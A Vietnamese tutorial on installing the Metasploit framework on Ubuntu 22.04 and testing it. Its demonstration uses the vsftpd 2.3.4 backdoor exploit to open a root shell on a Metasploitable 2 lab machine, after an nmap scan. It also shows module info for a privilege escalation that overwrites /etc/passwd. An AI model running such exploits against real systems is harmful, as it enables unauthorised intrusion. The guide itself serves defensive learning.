Là một quản trị viên mạng, việc quét các lỗ hổng bảo mật và vá chúng càng sớm càng tốt là rất quan trọng. Metasploit là một khuôn khổ mã nguồn mở giúp xác định các mối đe dọa và lỗ hổng. Nó tìm và khai thác các lỗ hổng trong hệ thống máy tính, mạng và ứng dụng. Nó cho phép các chuyên gia bảo mật mô phỏng các cuộc tấn công trong thế giới thực và kiểm tra tình trạng bảo mật của tổ chức bạn. Nó đi kèm với nhiều khai thác và cũng cho phép bạn tạo khai thác của riêng mình.
Trong hướng dẫn này, bạn sẽ học cách cài đặt khung Metasploit và thực hiện thử nghiệm cơ bản trên hệ thống Ubuntu 22.04.
[*]
Một số gói mà hệ thống của bạn cần.
Một số gói này có thể đã được cài đặt trên hệ thống của bạn.
Chúng tôi sẽ chỉ cho bạn ba cách để cài đặt Metasploit. Cách đầu tiên là sử dụng tập lệnh shell cài đặt Nightly. Cách thứ hai là cài đặt bằng cách biên dịch mã nguồn. Cách thứ ba là trực tiếp lấy gói Deb và sử dụng gói đó để cài đặt Metasploit. Bất kể bạn sử dụng theo cách nào, trước tiên bạn sẽ cần cài đặt Nmap vì nó không đi kèm với Metapsploit.
Tạo một thư mục tạm thời để tải xuống tập lệnh cài đặt Metasploit và chuyển sang thư mục đó.
Tải xuống tập lệnh cài đặt và đổi tên tệp thành
Đặt quyền 755 trên script.
Chạy script.
Đầu tiên, script sẽ nhập khóa ký từ máy chủ của Metasploit, sau đó sao chép địa chỉ kho lưu trữ cho Metasploit vào
Chạy tập lệnh bảng điều khiển Metasploit để bắt đầu.
Lần đầu tiên bạn sử dụng tập lệnh, nó sẽ khởi động trình hướng dẫn cài đặt và hỏi bạn có muốn tạo một cơ sở dữ liệu.
Nhập
Sau đó, bạn sẽ được đưa đến bảng điều khiển Metasploit trông giống như sau.
data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20width=%22592%22%20height=%22683%22%3E%3C/svg%3E
Kiểm tra cơ sở dữ liệu trạng thái.
Điều này xác nhận rằng nó được kết nối đúng với cơ sở dữ liệu PostgreSQL và hoạt động tốt.
Thoát khỏi bảng điều khiển.
Cài đặt Git. Có thể Git đã có sẵn trên máy chủ của bạn.
Kiểm tra trạng thái của dịch vụ PostgreSQL.
Bạn sẽ thấy kết quả sau xác nhận rằng PostgreSQL là đang chạy.
Tạo vai trò PostgreSQL cho Metasploit. Bạn sẽ được nhắc thiết lập mật khẩu.
Tạo cơ sở dữ liệu PostgreSQL cho Metasploit và đặt chủ sở hữu là người dùng chúng tôi đã tạo.
Thoát khỏi PostgreSQL tài khoản.
Mở tệp
Thêm dòng sau vào bên dưới
Lưu tệp bằng cách nhấn Ctrl + X và nhập Y khi được nhắc sau khi hoàn tất.
Nhập khóa GPG của RVM.
Sử dụng curl để tải xuống tập lệnh cài đặt RVM.
Cài đặt phiên bản ổn định của RVM.
Lấy nguồn các tập lệnh RVM từ thư mục nơi chúng được cài đặt.
Tải xuống mã nguồn Metasploit từ GitHub.
Chuyển sang thư mục Metasploit.
Bạn sẽ thấy các hướng dẫn sau khi chuyển sang thư mục.
Điều này đề cập rằng phiên bản Ruby được yêu cầu bởi nền tảng Metasploit là 3.0.5. Bạn cũng có thể xác nhận bằng cách chạy lệnh sau.
Tải OpenSSL 1.1. Bạn có thể kiểm tra phiên bản mới nhất có sẵn từ trang nguồn OpenSSL 1.1.
Giải nén kho lưu trữ đã tải xuống.
Chuyển sang thư mục.
Cấu hình nguồn.
Chạy make lệnh.
Chạy lại lệnh make để thực hiện các bài kiểm tra.
Cài đặt OpenSSL 1.1.1w.
Cấu hình thư mục chứng chỉ SSL để trỏ đến thư mục
Chuyển trở lại thư mục Metasploit.
Cài đặt Ruby.
Cài đặt bundler Gem.
Cài đặt Ruby Gem cần thiết.
Khởi động Metasploit console.
Bạn sẽ thấy kết quả tương tự.
data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20width=%22496%22%20height=%22750%22%3E%3C/svg%3E
Kiểm tra kết nối cơ sở dữ liệu.
Kết nối với cơ sở dữ liệu chúng tôi đã tạo trước đó.
Xác minh trạng thái cơ sở dữ liệu.
Thoát khỏi console.
Tạo một tệp
Mở nó cho chỉnh sửa.
Dán mã sau vào đó.
Lưu tệp bằng cách nhấn Ctrl + X và nhập Y khi được nhắc sau khi hoàn tất.
Khởi động lại bảng điều khiển.
Kiểm tra kết nối cơ sở dữ liệu trạng thái.
Điều này xác nhận rằng Metasploit đã được kết nối thành công với cơ sở dữ liệu PostgreSQL.
Tải xuống gói bằng lệnh
Cài đặt gói.
Tiếp tục cài đặt bằng cách chạy lệnh bảng điều khiển Metasploit.
Tiếp tục theo cách tương tự như chúng ta đã làm ở bước 1 để hoàn tất cài đặt Metasploit.
Bằng cách này, bạn sẽ được đưa trực tiếp đến console.
Để liệt kê tất cả các lệnh có sẵn, hãy chạy
Bạn sẽ nhận được kết quả sau.
Để liệt kê tất cả các khai thác có sẵn, hãy chạy lệnh sau lệnh.
Bạn sẽ nhận được kết quả tương tự.
data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20width=%22750%22%20height=%22238%22%3E%3C/svg%3E
Metasploit cũng cung cấp tài liệu hướng dẫn cụ thể cho từng công cụ thông qua lệnh sau. Bạn có thể sử dụng lệnh này để tìm hiểu thêm về cách thức hoạt động của một khai thác cụ thể. Chúng tôi sẽ kiểm tra cách khai thác
Bạn sẽ nhận được kết quả sau.
Chúng ta hãy sử dụng Metasploit để kiểm tra các cổng mở trên máy bị nhiễm. Đối với hướng dẫn của chúng tôi, chúng tôi sẽ sử dụng máy ảo Metasploitable. Đây là máy thử nghiệm mà bạn có thể sử dụng cho mục đích học tập. Chúng tôi đang sử dụng Metasploitable 2 đi kèm với ổ cứng VirtualBox có thể tải xuống mà bạn có thể sử dụng để thiết lập máy ảo, đây là thứ chúng tôi đang sử dụng để thực hiện các thử nghiệm của mình. Bạn cũng có thể Metasploitable 3 là máy VirtualBox dựa trên Vagrant, yêu cầu loại cài đặt khác.
Sử dụng công cụ Nmap để quét các cổng mở.
Bạn sẽ thấy đầu ra tương tự tùy thuộc vào máy bạn đang sử dụng đang kiểm tra.
Bây giờ chúng ta đã có danh sách các cổng mở để khai thác, hãy sử dụng một trong số chúng. Chúng ta sẽ sử dụng dịch vụ
Bạn sẽ nhận được kết quả đầu ra sau.
Tiếp theo, chúng ta chỉ cần sao chép tên của lỗ hổng và sử dụng nó bằng lệnh sau. Lệnh này cho phép chúng ta đi vào bên trong khai thác.
Bạn sẽ nhận được kết quả đầu ra sau.
Dấu nhắc bảng điều khiển sẽ thay đổi thành sau đây.
Tiếp theo, sử dụng lệnh
Bạn sẽ nhận được kết quả đầu ra sau.
Tại đây, bạn có thể thấy các thiết lập hiện tại cho một số biến.
Bây giờ IP máy chủ từ xa đã được cấu hình, chúng ta có thể tiến hành hack. Chạy lệnh
Bạn sẽ thấy thông báo sau đầu ra.
Bạn có thể nhập bất kỳ lệnh nào và nó sẽ hoạt động trên hệ thống mục tiêu để xác nhận việc hack. Để xác nhận, hãy sử dụng lệnh
Bạn sẽ nhận được kết quả đầu ra sau cho thấy kết quả đầu ra đến từ máy mục tiêu, nghĩa là khai thác của chúng ta đã hoạt động.
Đây chỉ là một trong những điều mà Metasploit có thể làm. Bạn có thể làm nhiều hơn nữa bằng cách sử dụng nó để tìm lỗ hổng và tìm ra máy nào của bạn đang mở và dễ bị tấn công và vá chúng.
Ngoài ra, hai phương pháp tương tự sẽ cấu hình kho lưu trữ APT để bạn không cần phải chạy tập lệnh. Mỗi lần bạn chạy
Nếu bạn đã cài đặt Metasploit từ mã nguồn, thì bạn sẽ phải cập nhật thủ công. Chuyển sang thư mục khung Metasploit.
Đầu tiên, hãy đặt một số biến cho Git. Đây chỉ là một quá trình một lần.
Bây giờ, bạn có thể chạy các bản cập nhật bằng lệnh sau.
Để tránh phải chạy lệnh này nhiều lần, bạn có thể thiết lập một tác vụ cron để tự động cập nhật lệnh. Chạy lệnh sau để khởi chạy trình soạn thảo Crontab.
Bạn sẽ được hỏi sử dụng trình soạn thảo nào.
Điều này sẽ chạy tập lệnh cập nhật lúc 1 giờ sáng hàng ngày. Lưu tệp bằng cách nhấn Ctrl + X và nhập Y khi được nhắc sau khi hoàn tất.
Vậy là xong. Thao tác này sẽ giúp Metasploit của bạn luôn được cập nhật mà không cần bất kỳ sự can thiệp nào.
Tuy nhiên, nếu bạn đã cài đặt bằng mã nguồn, thì để gỡ bỏ Metasploit, bạn cần chạy một loạt lệnh lệnh.
Mở tệp
Xóa dòng sau khỏi cuối tệp.
Cuối cùng nhưng không kém phần quan trọng, hãy xóa PostgreSQL nếu bạn không sử dụng nó.
Lưu tệp bằng cách nhấn Ctrl + X và nhập Y khi được nhắc một lần hoàn thành.
Mở
Xóa các dòng sau khỏi cuối tập tin.
Lưu tập tin bằng cách nhấn Ctrl + X và nhập Y khi được nhắc sau khi hoàn tất.
Mở tập tin
Xóa mã sau khỏi cuối tệp.
Lưu tệp bằng cách nhấn Ctrl + X và nhập Y khi được nhắc sau khi hoàn tất.
Nguồn tệp để tải lại thay đổi.
Xóa các thư mục Metasploit.
Gỡ cài đặt PostgreSQL nếu bạn không cần nữa.
Gỡ cài đặt OpenSSL 1.1.1. Các lệnh sau sẽ gỡ cài đặt gói, dọn dẹp thư mục và xóa kho lưu trữ đã tải xuống.
Trong hướng dẫn này, bạn sẽ học cách cài đặt khung Metasploit và thực hiện thử nghiệm cơ bản trên hệ thống Ubuntu 22.04.
Điều kiện tiên quyết
-
Một máy chạy Ubuntu 22.04 với tối thiểu 4 GB RAM.
-
Một người dùng không phải root có quyền sudo.
-
Tường lửa đơn giản (UFW) được bật và đang chạy.
-
Mọi thứ đều được cập nhật.
Mã:
$ sudo apt update && sudo apt upgrade
Một số gói mà hệ thống của bạn cần.
Mã:
$ sudo apt install wget curl nano ufw software-properties-common dirmngr apt-transport-https gnupg2 ca-certificates lsb-release ubuntu-keyring unzip -y
Bước 1 - Cài đặt Nmap
Một trong những công cụ phổ biến nhất mà Metasploit yêu cầu là Nmap, nhưng thật không may là nó không có trong mã nguồn. Chúng ta có thể cài đặt nó bằng mã nguồn của nó hoặc chúng ta có thể cài đặt nhị phân là phiên bản khá cập nhật có sẵn. Chúng tôi sẽ sử dụng kho lưu trữ gói Ubuntu để cài đặt nhị phân Nmap.
Mã:
$ sudo apt install -y nmap
Bước 2 - Cài đặt Metasploit bằng Nightly Installer
Cài đặt Metasploit khá dễ dàng bằng cách sử dụng tập lệnh cài đặt Nightly. Nó đi kèm với Ruby và PostgreSQL 9.2 và tích hợp với trình quản lý gói APT.Tạo một thư mục tạm thời để tải xuống tập lệnh cài đặt Metasploit và chuyển sang thư mục đó.
Mã:
$ mkdir msf-install && cd ./msf-install
msfinstall
.
Mã:
$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
Mã:
$ chmod 755 msfinstall
Mã:
$ sudo ./msfinstall
/etc/apt/sources.list.d/
thư mục, và cuối cùng nó tải xuống và cài đặt gói Metasploit bằng APT và đặt biến PATH cho nó.Chạy tập lệnh bảng điều khiển Metasploit để bắt đầu.
Mã:
$ cd ~
$ msfconsole
Mã:
** Welcome to Metasploit Framework Initial Setup ** Please answer a few questions to get started.
Would you like to use and setup a new database (recommended)? y
y
rồi nhấn phím Enter để tiếp tục. Lệnh này sẽ tạo một cơ sở dữ liệu và lưu trữ dữ liệu của cơ sở dữ liệu đó trong thư mục ~/.msf4/db
.
Mã:
Running the 'init' command for the database:
Creating database at /home/navjot/.msf4/db
Creating db socket file at /tmp
Starting database at /home/navjot/.msf4/db...server starting
success
Creating database users
Writing client authentication configuration file /home/navjot/.msf4/db/pg_hba.conf
Stopping database at /home/navjot/.msf4/db
Starting database at /home/navjot/.msf4/db...server starting
success
Creating initial database schema
Database initialization successful ** Metasploit Framework Initial Setup Complete **
Mã:
Metasploit tip: Use the analyze command to suggest runnable modules for
hosts .;lxO0KXXXK0Oxl:. ,o0WMMMMMMMMMMMMMMMMMMKd, 'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx, :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK: .KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX, lWMMMMMMMMMMMXd:.. ..;dKMMMMMMMMMMMMo xMMMMMMMMMMWd. .oNMMMMMMMMMMk oMMMMMMMMMMx. dMMMMMMMMMMx
.WMMMMMMMMM: :MMMMMMMMMM,
xMMMMMMMMMo lMMMMMMMMMO
NMMMMMMMMW ,cccccoMMMMMMMMMWlccccc;
MMMMMMMMMX ;KMMMMMMMMMMMMMMMMMMX:
NMMMMMMMMW. ;KMMMMMMMMMMMMMMX:
xMMMMMMMMMd ,0MMMMMMMMMMK;
.WMMMMMMMMMc 'OMMMMMM0, lMMMMMMMMMMk. .kMMO' dMMMMMMMMMMWd' .. cWMMMMMMMMMMMNxc'. ########## .0MMMMMMMMMMMMMMMMWc #+# #+# ;0MMMMMMMMMMMMMMMo. +:+ .dNMMMMMMMMMMMMo +#++:++#+ 'oOWMMMMMMMMo +:+ .,cdkO0K; :+: :+: :::::::+: Metasploit =[ metasploit v6.4.1-dev- ]
+ -- --=[ 2405 exploits - 1239 auxiliary - 422 post ]
+ -- --=[ 1465 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
msf6 >
data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20width=%22592%22%20height=%22683%22%3E%3C/svg%3E
Kiểm tra cơ sở dữ liệu trạng thái.
Mã:
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
Thoát khỏi bảng điều khiển.
Mã:
msf6 > exit
Bước 3 - Cài đặt Metasploit bằng mã nguồn
Cài đặt các điều kiện tiên quyết
Cài đặt các gói được Metasploit yêu cầu.
Mã:
$ sudo apt install -y autoconf bison build-essential gpgv2 libaprutil1 libgmp3-dev libpcap-dev libpq-dev libreadline-dev libsqlite3-dev libssl-dev locate libsvn1 libtool libxml2-dev libxslt1-dev libyaml-dev libncurses-dev xsel zlib1g-dev
Mã:
$ sudo apt install -y git
Cài đặt PostgreSQL
Cài đặt PostgreSQL. Ubuntu 22.04 được cài sẵn PostgreSQL 14 theo mặc định, đây là những gì chúng ta sẽ sử dụng.
Mã:
$ sudo apt install -y postgresql postgresql-contrib
Mã:
$ sudo systemctl status postgresql
Mã:
? postgresql.service - PostgreSQL RDBMS Loaded: loaded (/lib/systemd/system/postgresql.service; enabled; vendor preset: enabled) Active: active (exited) since Mon 2024-04-01 14:22:31 UTC; 7s ago Process: 5984 ExecStart=/bin/true (code=exited, status=0/SUCCESS) Main PID: 5984 (code=exited, status=0/SUCCESS) CPU: 1ms
Apr 01 14:22:31 metasploit systemd[1]: Starting PostgreSQL RDBMS...
Apr 01 14:22:31 metasploit systemd[1]: Finished PostgreSQL RDBMS.
Cấu hình PostgreSQL
Chuyển sang người dùng PostgreSQL.
Mã:
$ sudo -i -u postgres
Mã:
$ createuser msfuser -S -R -P
Mã:
$ createdb msfdb -O msfuser
Mã:
$ exit
/etc/postgresql/14/main/pg_hba.conf
để chỉnh sửa.
Mã:
$ sudo nano /etc/postgresql/14/main/pg_hba.conf
host all all 127.0.0.1/32 scram-sha-256
dòng.
Mã:
....
host all all 127.0.0.1/32 scram-sha-256
host "msfdb" "msfuser" 127.0.0.1/32 md5
Cài đặt Ruby Version Manager (RVM)
Metasploit yêu cầu Ruby để cài đặt. Chúng tôi sẽ sử dụng Ruby Version Manager (RVM) để cài đặt Ruby và Gems.Nhập khóa GPG của RVM.
Mã:
$ gpg2 --keyserver hkp://keyserver.ubuntu.com --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB
Mã:
$ \curl -sSL https://get.rvm.io -o rvm.sh
Mã:
$ cat rvm.sh | bash -s stable
Mã:
$ source ~/.rvm/scripts/rvm
Tải xuống Metasploit
Chuyển sang trang chủ thư mục.
Mã:
$ cd ~
Mã:
$ git clone https://github.com/rapid7/metasploit-framework.git
Mã:
$ cd metasploit-framework
Mã:
Required ruby-3.0.5 is not installed.
To install do: 'rvm install "ruby-3.0.5"'
Mã:
$ cat .ruby-version
3.0.5
Cài đặt Ruby
Đây là phần khó khăn. Ubuntu 22.04 hỗ trợ OpenSSL 3 trong khi Ruby 3.0.x chỉ hoạt động với OpenSSL 1.1. Điều này có nghĩa là chúng ta không thể cài đặt theo cách thông thường. Giải pháp thay thế tốt nhất là tải xuống mã nguồn cho OpenSSL 1.1, xây dựng nó và sử dụng nó để cài đặt Ruby. Điều này sẽ không ảnh hưởng đến bất kỳ ứng dụng nào khác trên máy chủ của bạn.Tải OpenSSL 1.1. Bạn có thể kiểm tra phiên bản mới nhất có sẵn từ trang nguồn OpenSSL 1.1.
Mã:
$ wget https://www.openssl.org/source/old/1.1.1/openssl-1.1.1w.tar.gz
Mã:
$ tar zxf openssl-1.1.1w.tar.gz
Mã:
$ cd openssl-1.1.1w
Mã:
$ ./config --prefix=$HOME/.openssl/openssl-1.1.1w --openssldir=$HOME/.openssl/openssl-1.1.1w
Mã:
$ make
Mã:
$ make tests
Mã:
$ make install
/etc/ssl/certs
và xóa thư mục gốc một.
Mã:
$ rm -rf ~/.openssl/openssl-1.1.1w/certs
$ ln -s /etc/ssl/certs ~/.openssl/openssl-1.1.1w/certs
Mã:
$ cd ~/metasploit-framework
Mã:
$ rvm install "ruby-3.0.5" --with-openssl-dir=$HOME/.openssl/openssl-1.1.1w
Checking requirements for ubuntu.
Installing requirements for ubuntu.
Updating system
Installing required packages: libffi-dev, libgdbm-dev, libncurses5-dev, sqlite3.....
........................
Install of ruby-3.0.5 - #complete
Ruby was built without documentation, to build it run: rvm docs generate-ri
Cài đặt Metasploit
Chuyển sang thư mục Metasploit.
Mã:
$ cd ~/metasploit-framework
Mã:
$ gem install bundler
Mã:
$ bundle install
Mã:
$ ./msfconsole
Mã:
Metasploit tip: You can use help to view all available commands __________________
< Shells are cool. > ------------------ \ \ \ \ \ ????????? ??????????? ???????????? ??????????????? ?????????????????? ????????????????????? ??????????????????????? ??????????????????????? ?????????????????????
???????????????????????? ?????? ?????????????????????? ???????????? ?????????????????? ?????????????? ???????????????????????????????????? ??????????????????? ???????? ??????????????????? ?????? ? ?????????????????? ?? ???? ???????????????? ??? ?????? ????????? ? ??????? ???????? ??????? ????????? ????????? ????????? ????????? ?????????? ??????? ??????? =[ metasploit v6.4.2-dev-44ba1b5082 ]
+ -- --=[ 2408 exploits - 1240 auxiliary - 422 post ]
+ -- --=[ 1465 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
msf6 >
data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20width=%22496%22%20height=%22750%22%3E%3C/svg%3E
Kiểm tra kết nối cơ sở dữ liệu.
Mã:
msf6 > db_status
[*] postgresql selected, no connection
Mã:
msf6 > db_connect msfuser:[emailprotected]:5432/msfdb
[*] Connected to Postgres data service: 127.0.0.1/msfdb
Mã:
msf6 > db_status
[*] Connected to msfdb. Connection type: postgresql. Connection name: local_db_service.
Mã:
msf6 > exit
Cấu hình cài đặt cơ sở dữ liệu Metasploit
Kết nối cơ sở dữ liệu sẽ không duy trì trong quá trình sử dụng bảng điều khiển Metasploit nhiều lần. Để làm cho nó vĩnh viễn, chúng ta cần lưu nó vào một tệp trong thư mục~/.msf4
.Tạo một tệp
database.yml
trong ~/.msf4/
thư mục.
Mã:
$ touch ~/.msf4/database.yml
Mã:
$ nano ~/.msf4/database.yml
Mã:
production: adapter: postgresql database: msfdb username: msfuser password: [PASSWORD] host: 127.0.0.1 port: 5432 pool: 75 timeout: 5
Khởi động lại bảng điều khiển.
Mã:
$ ./msfconsole
Mã:
msf6 > db_status
[*] Connected to msfdb. Connection type: postgresql.
Bước 4 - Cài đặt Metasploit bằng gói nhị phân
Truy cập Trang kho lưu trữ APT của Metasploit và lấy URL cho gói deb Metasploit mới nhất từ cuối trang. Vào thời điểm viết bài viết này, phiên bản mới nhất hiện có là 6.4.1+20240326102606.Tải xuống gói bằng lệnh
wget
.
Mã:
$ wget https://apt.metasploit.com/pool/main/m/metasploit-framework/metasploit-framework_6.4.1%2B20240326102606~1rapid7-1_amd64.deb
Mã:
$ sudo dpkg -i metasploit-framework_6.4.1+20240326102606~1rapid7-1_amd64.deb
Mã:
$ msfconsole
Bước 5 - Kiểm tra Metasploit
Biểu ngữ trên cùng bạn nhận được khi khởi động bảng điều khiển Metasploit có thể gây khó chịu, có thể tắt bằng tùy chọn-q
.
Mã:
$ msfconsole -q
Mã:
msf6 >
help
trên console.
Mã:
msf6 > help
Mã:
Core Commands
============= Command Description ------- ----------- ? Help menu banner Display an awesome metasploit banner cd Change the current working directory color Toggle color connect Communicate with a host debug Display information useful for debugging exit Exit the console features Display the list of not yet released features that can be opted in to get Gets the value of a context-specific variable getg Gets the value of a global variable grep Grep the output of another command help Help menu history Show command history load Load a framework plugin quit Exit the console repeat Repeat a list of commands route Route traffic through a session save Saves the active datastores sessions Dump session listings and display information about sessions set Sets a context-specific variable to a value setg Sets a global variable to a value sleep Do nothing for the specified number of seconds spool Write console output into a file as well the screen threads View and manipulate background threads tips Show a list of useful productivity tips unload Unload a framework plugin unset Unsets one or more context-specific variables unsetg Unsets one or more global variables version Show the framework and console library version numbers
.........................................................................
Mã:
msf6 > show exploits
data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20width=%22750%22%20height=%22238%22%3E%3C/svg%3E
Metasploit cũng cung cấp tài liệu hướng dẫn cụ thể cho từng công cụ thông qua lệnh sau. Bạn có thể sử dụng lệnh này để tìm hiểu thêm về cách thức hoạt động của một khai thác cụ thể. Chúng tôi sẽ kiểm tra cách khai thác
xorg_x11_server
hoạt động.
Mã:
msf6 > info xorg_x11_server
Mã:
msf6 > info exploit/aix/local/xorg_x11_server Name: Xorg X11 Server Local Privilege Escalation Module: exploit/aix/local/xorg_x11_server Platform: Unix Arch: cmd Privileged: No License: Metasploit Framework License (BSD) Rank: Great Disclosed: 2018-10-25
Provided by: Narendra Shinde Zack Flack
Module side effects: config-changes
Available targets: Id Name -- ---- 0 IBM AIX Version 6.1 => 1 IBM AIX Version 7.1 2 IBM AIX Version 7.2
Check supported: Yes
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on WritableDir /tmp yes A directory where we can write files
Payload information:
Description: WARNING: Successful execution of this module results in /etc/passwd being overwritten. This module is a port of the OpenBSD X11 Xorg exploit to run on AIX. A permission check flaw exists for -modulepath and -logfile options when starting Xorg. This allows unprivileged users that can start the server the ability to elevate privileges and run arbitrary code under root privileges. This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1. Due to permission restrictions of the crontab in AIX, this module does not use cron, and instead overwrites /etc/passwd in order to create a new user with root privileges. All currently logged in users need to be included when /etc/passwd is overwritten, else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user. The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX, and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when overwriting /etc/passwd.
...................................
Sử dụng công cụ Nmap để quét các cổng mở.
Mã:
msf6 > nmap -sV 192.168.31.36
Mã:
msf6 > nmap -sV 192.168.31.36
[*] exec: nmap -sV 192.168.31.36
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 12:23 IST
Nmap scan report for 192.168.31.36
Host is up (0.0046s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.57 seconds
vsftpd
để khai thác. Trước khi thực hiện, chúng ta hãy tìm kiếm nó trong danh sách khai thác của mình để tìm hiểu thêm về nó.
Mã:
msf6 > search vsftpd
Mã:
msf6 > search vsftpd
Matching Modules
================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service 1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
Mã:
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
Mã:
[*] No payload configured, defaulting to cmd/unix/interact
Mã:
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
show options
để kiểm tra khai thác yêu cầu.
Mã:
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Mã:
Module options (exploit/unix/ftp/vsftpd_234_backdoor): Name Current Setting Required Description ---- --------------- -------- ----------- CHOST no The local client address CPORT no The local client port Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 21 yes The target port (TCP)
Exploit target: Id Name -- ---- 0 Automatic
View the full module info with the info, or info -d command.
RHOSTS
trong đầu ra chỉ định IP của Máy chủ từ xa và RPORT
tham chiếu đến cổng máy chủ từ xa. Đặt IP máy chủ từ xa để khai thác này hoạt động. Điều này sẽ cho biết máy nào cần nhắm tới.
Mã:
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.31.36
RHOSTS => 192.168.31.36
exploit
và đợi quá trình hack diễn ra.
Mã:
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
Mã:
[*] 192.168.31.36:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.31.36:21 - USER: 331 Please specify the password.
[+] 192.168.31.36:21 - Backdoor service has been spawned, handling...
[+] 192.168.31.36:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.31.10:46765 -> 192.168.31.36:6200) at 2024-04-03 12:37:46 +0530
ifconfig
để lấy thông tin chi tiết về mạng.
Mã:
ifconfig
Mã:
eth0 Link encap:Ethernet HWaddr 08:00:27:88:8d:ae inet addr:192.168.31.36 Bcast:192.168.31.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fe88:8dae/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1671 errors:0 dropped:0 overruns:0 frame:0 TX packets:1529 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:145408 (142.0 KB) TX bytes:142342 (139.0 KB) Base address:0xd020 Memory:f0200000-f0220000
lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:274 errors:0 dropped:0 overruns:0 frame:0 TX packets:274 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:109881 (107.3 KB) TX bytes:109881 (107.3 KB)
Bước 6 - Cập nhật Metasploit
Metasploit đi kèm với tập lệnh cập nhật của nó. Nếu bạn đã cài đặt bằng bước 2 và bước 4, thì chỉ cần chạy lệnh sau để cập nhật Metasploit.
Mã:
$ sudo msfupdate
sudo apt update && sudo apt upgrade
, Metasploit sẽ được cập nhật.Nếu bạn đã cài đặt Metasploit từ mã nguồn, thì bạn sẽ phải cập nhật thủ công. Chuyển sang thư mục khung Metasploit.
Mã:
$ cd ~/metasploit-framework
Mã:
$ git config --global user.name "YourName"
$ git config --global user.email "[emailprotected]"
Mã:
$ ./msfupdate
Mã:
$ crontab -e
Mã:
no crontab for navjot - using an empty one
Select an editor. To change later, run 'select-editor'. 1. /bin/nano /dev/null 2>&1
Vậy là xong. Thao tác này sẽ giúp Metasploit của bạn luôn được cập nhật mà không cần bất kỳ sự can thiệp nào.
Bước 7 - Gỡ cài đặt Metasploit
Nếu bạn đã cài đặt Metasploit bằng bước 2 hoặc 4, thì để gỡ bỏ Metasploit, chỉ cần chạy lệnh sau.
Mã:
$ sudo apt autoremove --purge metasploit-framework
Mã:
$ rm -Rf ~/.rvm
$ rm -Rf ~/.gem
$ rm -f ~/.gemrc
$ rm -Rf ~/.bundle
$ rm -f ~/rvm.sh
$ rm -rf ~/.local/share/gem
.bashrc
